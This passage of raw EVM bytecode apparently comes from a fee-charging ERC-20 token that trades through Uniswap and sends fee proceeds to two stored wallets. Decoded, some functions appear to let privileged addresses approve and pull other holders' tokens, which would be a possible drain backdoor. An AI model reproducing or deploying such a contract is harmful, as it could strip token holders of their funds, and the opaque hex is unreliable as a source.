fffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620005a662000b2560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60006200075962000b2560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200092f6013546200091b60125460115462000b4e60201b62001fef1790919060201c565b62000b4e60201b62001fef1790919060201c565b6018819055506200096e6016546200095a60155460145462000b4e60201b62001fef1790919060201c565b62000b4e60201b62001fef1790919060201c565b601981905550600d54600660006200098b62000b1d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620009d962000b1d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d5460405162000a3a9190620011b7565b60405180910390a362001433565b600080830362000a5c576000905062000ac5565b6000828462000a6c91906200115b565b905082848262000a7d919062001203565b1462000ac0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ab790620012c2565b60405180910390fd5b809150505b92915050565b600062000b1583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000bb160201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000b5f9190620012e4565b90508381101562000ba7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b9e906200136f565b60405180910390fd5b8091505092915050565b6000808311829062000bfb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000bf291906200140f565b60405180910390fd5b506000838562000c0c919062001203565b9050809150509392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c9b57607f821691505b60208210810362000cb15762000cb062000c53565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d1b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cdc565b62000d27868362000cdc565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d7462000d6e62000d688462000d3f565b62000d49565b62000d3f565b9050919050565b6000819050919050565b62000d908362000d53565b62000da862000d9f8262000d7b565b84845462000ce9565b825550505050565b600090565b62000dbf62000db0565b62000dcc81848462000d85565b505050565b5b8181101562000df45762000de860008262000db5565b60018101905062000dd2565b5050565b601f82111562000e435762000e0d8162000cb7565b62000e188462000ccc565b8101602085101562000e28578190505b62000e4062000e378562000ccc565b83018262000dd1565b50505b505050565b600082821c905092915050565b600062000e686000198460080262000e48565b1980831691505092915050565b600062000e83838362000e55565b9150826002028217905092915050565b62000e9e8262000c19565b67ffffffffffffffff81111562000eba5762000eb962000c24565b5b62000ec6825462000c82565b62000ed382828562000df8565b600060209050601f83116001811462000f0b576000841562000ef6578287015190505b62000f02858262000e75565b86555062000f72565b601f19841662000f1b8662000cb7565b60005b8281101562000f455784890151825560018201915060208501945060208101905062000f1e565b8683101562000f65578489015162000f61601f89168262000e55565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620010085780860481111562000fe05762000fdf62000f7a565b5b600185161562000ff05780820291505b8081029050620010008562000fa9565b945062000fc0565b94509492505050565b600082620010235760019050620010f6565b81620010335760009050620010f6565b81600181146200104c576002811462001057576200108d565b6001915050620010f6565b60ff8411156200106c576200106b62000f7a565b5b8360020a91508482111562001086576200108562000f7a565b5b50620010f6565b5060208310610133831016604e8410600b8410161715620010c75782820a905083811115620010c157620010c062000f7a565b5b620010f6565b620010d6848484600162000fb6565b92509050818404811115620010f057620010ef62000f7a565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011178262000d3f565b91506200112483620010fd565b9250620011537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462001011565b905092915050565b6000620011688262000d3f565b9150620011758362000d3f565b9250828202620011858162000d3f565b915082820484148315176200119f576200119e62000f7a565b5b5092915050565b620011b18162000d3f565b82525050565b6000602082019050620011ce6000830184620011a6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620012108262000d3f565b91506200121d8362000d3f565b92508262001230576200122f620011d4565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000620012aa6021836200123b565b9150620012b7826200124c565b604082019050919050565b60006020820190508181036000830152620012dd816200129b565b9050919050565b6000620012f18262000d3f565b9150620012fe8362000d3f565b925082820190508082111562001319576200131862000f7a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001357601b836200123b565b915062001364826200131f565b602082019050919050565b600060208201905081810360008301526200138a8162001348565b9050919050565b60005b83811015620013b157808201518184015260208101905062001394565b60008484015250505050565b6000601f19601f8301169050919050565b6000620013db8262000c19565b620013e781856200123b565b9350620013f981856020860162001391565b6200140481620013bd565b840191505092915050565b600060208201905081810360008301526200142b8184620013ce565b905092915050565b60805160a0516144da6200146760003960008181610b9c01526112d4015260008181610cee015261130001526144da6000f3fe60806040526004361061028c5760003560e01c8063807c2d9c1161015a578063a9059cbb116100c1578063dc44b6a01161007a578063dc44b6a0146109f6578063dd62ed3e14610a21578063f0cd1dac14610a5e578063f2fde38b14610a89578063f680f79914610ab2578063f872858a14610add57610293565b8063a9059cbb146108d0578063b7470a2f1461090d578063c5d241891461094a578063c860795214610975578063d2d7ad83146109a0578063da00097d146109cb57610293565b80638ea5220f116101135780638ea5220f146107be57806395d89b41146107e957806398e944c8146108145780639e161d9a1461083f578063a457c2d714610868578063a8b08982146108a557610293565b8063807c2d9c146106aa57806382eefb43146106d5578063852614851461070057806388790a681461072b5780638b42507f146107565780638da5cb5b1461079357610293565b8063313ce567116101fe5780635342acb4116101b75780635342acb4146105ac57806359927044146105e957806370a0823114610614578063715018a614610651578063751039fc146106685780637d1db4a51461067f57610293565b8063313ce5671461048657806339509351146104b15780633ecad271146104ee5780634a74bb021461052b5780634ada218b146105565780635194f9bf1461058157610293565b806323555d571161025057806323555d571461038157806323b872dd146103ac57806327c8f835146103e9578063293230b8146104145780632a0274c21461041e5780632b112e491461045b57610293565b806306fdde03146102985780630930907b146102c3578063095ea7b3146102ee5780631694505e1461032b57806318160ddd1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b08565b6040516102ba9190613633565b60405180910390f35b3480156102cf57600080fd5b506102d8610b9a565b6040516102e59190613696565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190613718565b610bbe565b6040516103229190613773565b60405180910390f35b34801561033757600080fd5b50610340610bdc565b60405161034d91906137ed565b60405180910390f35b34801561036257600080fd5b5061036b610c02565b6040516103789190613817565b60405180910390f35b34801561038d57600080fd5b50610396610c0c565b6040516103a39190613817565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190613832565b610c12565b6040516103e09190613773565b60405180910390f35b3480156103f557600080fd5b506103fe610cec565b60405161040b9190613696565b60405180910390f35b61041c610d10565b005b34801561042a57600080fd5b5061044560048036038101906104409190613718565b6112a5565b6040516104529190613773565b60405180910390f35b34801561046757600080fd5b506104706112ca565b60405161047d9190613817565b60405180910390f35b34801561049257600080fd5b5061049b611348565b6040516104a891906138a1565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190613718565b61135f565b6040516104e59190613773565b60405180910390f35b3480156104fa57600080fd5b50610515600480360381019061051091906138bc565b611412565b6040516105229190613773565b60405180910390f35b34801561053757600080fd5b50610540611432565b60405161054d9190613773565b60405180910390f35b34801561056257600080fd5b5061056b611445565b6040516105789190613773565b60405180910390f35b34801561058d57600080fd5b50610596611458565b6040516105a39190613817565b60405180910390f35b3480156105b857600080fd5b506105d360048036038101906105ce91906138bc565b61145e565b6040516105e09190613773565b60405180910390f35b3480156105f557600080fd5b506105fe61147e565b60405161060b919061390a565b60405180910390f35b34801561062057600080fd5b5061063b600480360381019061063691906138bc565b6114a4565b6040516106489190613817565b60405180910390f35b34801561065d57600080fd5b506106666114ed565b005b34801561067457600080fd5b5061067d611642565b005b34801561068b57600080fd5b506106946116eb565b6040516106a19190613817565b60405180910390f35b3480156106b657600080fd5b506106bf6116f1565b6040516106cc9190613817565b60405180910390f35b3480156106e157600080fd5b506106ea6116f7565b6040516106f79190613817565b60405180910390f35b34801561070c57600080fd5b506107156116fd565b6040516107229190613773565b60405180910390f35b34801561073757600080fd5b50610740611710565b60405161074d9190613817565b60405180910390f35b34801561076257600080fd5b5061077d600480360381019061077891906138bc565b611716565b60405161078a9190613773565b60405180910390f35b34801561079f57600080fd5b506107a8611736565b6040516107b59190613696565b60405180910390f35b3480156107ca57600080fd5b506107d361175f565b6040516107e0919061390a565b60405180910390f35b3480156107f557600080fd5b506107fe611785565b60405161080b9190613633565b60405180910390f35b34801561082057600080fd5b50610829611817565b6040516108369190613696565b60405180910390f35b34801561084b57600080fd5b5061086660048036038101906108619190613718565b61183d565b005b34801561087457600080fd5b5061088f600480360381019061088a9190613718565b611b67565b60405161089c9190613773565b60405180910390f35b3480156108b157600080fd5b506108ba611c34565b6040516108c79190613696565b60405180910390f35b3480156108dc57600080fd5b506108f760048036038101906108f29190613718565b611c5a565b6040516109049190613773565b60405180910390f35b34801561091957600080fd5b50610934600480360381019061092f91906138bc565b611c79565b6040516109419190613773565b60405180910390f35b34801561095657600080fd5b5061095f611c99565b60405161096c9190613817565b60405180910390f35b34801561098157600080fd5b5061098a611c9f565b6040516109979190613817565b60405180910390f35b3480156109ac57600080fd5b506109b5611ca5565b6040516109c29190613817565b60405180910390f35b3480156109d757600080fd5b506109e0611cab565b6040516109ed9190613773565b60405180910390f35b348015610a0257600080fd5b50610a0b611cbe565b604051610a189190613817565b60405180910390f35b348015610a2d57600080fd5b50610a486004803603810190610a439190613925565b611cc4565b604051610a559190613817565b60405180910390f35b348015610a6a57600080fd5b50610a73611d4b565b604051610a809190613817565b60405180910390f35b348015610a9557600080fd5b50610ab06004803603810190610aab91906138bc565b611d51565b005b348015610abe57600080fd5b50610ac7611f12565b604051610ad49190613817565b60405180910390f35b348015610ae957600080fd5b50610af2611f18565b604051610aff9190613773565b60405180910390f35b606060018054610b1790613994565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4390613994565b8015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610bd2610bcb61204d565b8484612055565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60135481565b6000610c1f84848461221e565b50610ce184610c2c61204d565b610cdc8560405180606001604052806028815260200161445860289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c9261204d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b612055565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610d1861204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c90613a11565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2d9190613a46565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb89190613a46565b6040518363ffffffff1660e01b8152600401610ed5929190613a73565b6020604051808303816000875af1158015610ef4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f189190613a46565b601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611236306114a4565b60008033426040518863ffffffff1660e01b815260040161125c96959493929190613ad7565b60606040518083038185885af115801561127a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061129f9190613b4d565b50505050565b6000803090506103e86017819055506112bf848285612944565b600191505092915050565b60006113436112f87f00000000000000000000000000000000000000000000000000000000000000006114a4565b6113356113247f00000000000000000000000000000000000000000000000000000000000000006114a4565b600d54612aa190919063ffffffff16565b612aa190919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600061140861136c61204d565b84611403856007600061137d61204d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b612055565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b600860009054906101000a900460ff1681565b60165481565b60096020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114f561204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611582576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157990613a11565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61164a61204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90613a11565b60405180910390fd5b600d54600f81905550600d54601081905550565b600f5481565b60105481565b60195481565b601b60189054906101000a900460ff1681565b60145481565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461179490613994565b80601f01602080910402602001604051908101604052809291908181526020018280546117c090613994565b801561180d5780601f106117e25761010080835404028352916020019161180d565b820191906000526020600020905b8154815290600101906020018083116117f057829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600267ffffffffffffffff81111561185a57611859613ba0565b5b6040519080825280602002602001820160405280156118885781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191c9190613a46565b816000815181106119305761192f613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061197f5761197e613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106119cf576119ce613bcf565b5b60200260200101519050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ac457601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b8152600401611a8d9493929190613cbc565b6000604051808303818588803b158015611aa657600080fd5b505af1158015611aba573d6000803e3d6000fd5b5050505050611b61565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8584600181518110611af557611af4613bcf565b5b6020026020010151866040518463ffffffff1660e01b8152600401611b1c93929190613d08565b6020604051808303816000875af1158015611b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5f9190613d6b565b505b50505050565b6000611c2a611b7461204d565b84611c25856040518060600160405280602581526020016144806025913960076000611b9e61204d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b612055565b6001905092915050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611c6e611c6761204d565b848461221e565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60125481565b60155481565b600e5481565b601b60169054906101000a900460ff1681565b60115481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b611d5961204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd90613a11565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4c90613e0a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60175481565b601b60179054906101000a900460ff1681565b6000808303611f3d5760009050611f9f565b60008284611f4b9190613e59565b9050828482611f5a9190613eca565b14611f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9190613f6d565b60405180910390fd5b809150505b92915050565b6000611fe783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612aeb565b905092915050565b6000808284611ffe9190613f8d565b905083811015612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a9061400d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bb9061409f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a90614131565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122119190613817565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361228e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612285906141c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f490614255565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061239e5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123b5576123ae848484612b4e565b90506128d9565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124595750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124715750601b60189054906101000a900460ff165b156124bc57600f548211156124bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b2906142e7565b60405180910390fd5b5b60006124c7306114a4565b90506000600e5482101590508080156124ed5750601b60149054906101000a900460ff16155b80156125435750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561255b5750601b60159054906101000a900460ff165b1561258557601b60169054906101000a900460ff161561257b57600e5491505b61258482612d21565b5b61260e846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126f45750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61270857612703878787613000565b61270a565b845b9050601b60179054906101000a900460ff1680156127725750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127d75760105461279582612787896114a4565b611fef90919063ffffffff16565b11156127d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127cd90614379565b60405180910390fd5b5b61282981600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128c99190613817565b60405180910390a3600193505050505b9392505050565b6000838311158290612928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291f9190613633565b60405180910390fd5b50600083856129379190614399565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361297d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129b657600080fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a949190613817565b60405180910390a3505050565b6000612ae383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128e0565b905092915050565b60008083118290612b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b299190613633565b60405180910390fd5b5060008385612b419190613eca565b9050809150509392505050565b6000612bd9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c6e82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d0e9190613817565b60405180910390a3600190509392505050565b6001601b60146101000a81548160ff0219169083151502179055506000612d55601954601854611fef90919063ffffffff16565b90506000612d70601454601154611fef90919063ffffffff16565b90506000612d8b601554601254611fef90919063ffffffff16565b90506000612dc76002612db986612dab878a611f2b90919063ffffffff16565b611fa590919063ffffffff16565b611fa590919063ffffffff16565b90506000612dde8287612aa190919063ffffffff16565b90506000479050612dee82613227565b6000612e038247612aa190919063ffffffff16565b90506000612e2d612e1e600289611fa590919063ffffffff16565b89612aa190919063ffffffff16565b90506000612e696002612e5b84612e4d8c88611f2b90919063ffffffff16565b611fa590919063ffffffff16565b611fa590919063ffffffff16565b90506000612ea683612e98612e896017548c611f2b90919063ffffffff16565b87611f2b90919063ffffffff16565b611fa590919063ffffffff16565b90506000612ecf82612ec18588612aa190919063ffffffff16565b612aa190919063ffffffff16565b90506000821115612f4457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612f42573d6000803e3d6000fd5b505b6000811115612fb757600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612fb5573d6000803e3d6000fd5b505b600083118015612fc75750600088115b15612fd757612fd688846134a3565b5b50505050505050505050506000601b60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561308857613081606461307360185486611f2b90919063ffffffff16565b611fa590919063ffffffff16565b9050613106565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131055761310260646130f460195486611f2b90919063ffffffff16565b611fa590919063ffffffff16565b90505b5b600081111561320a5761316181600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef9091906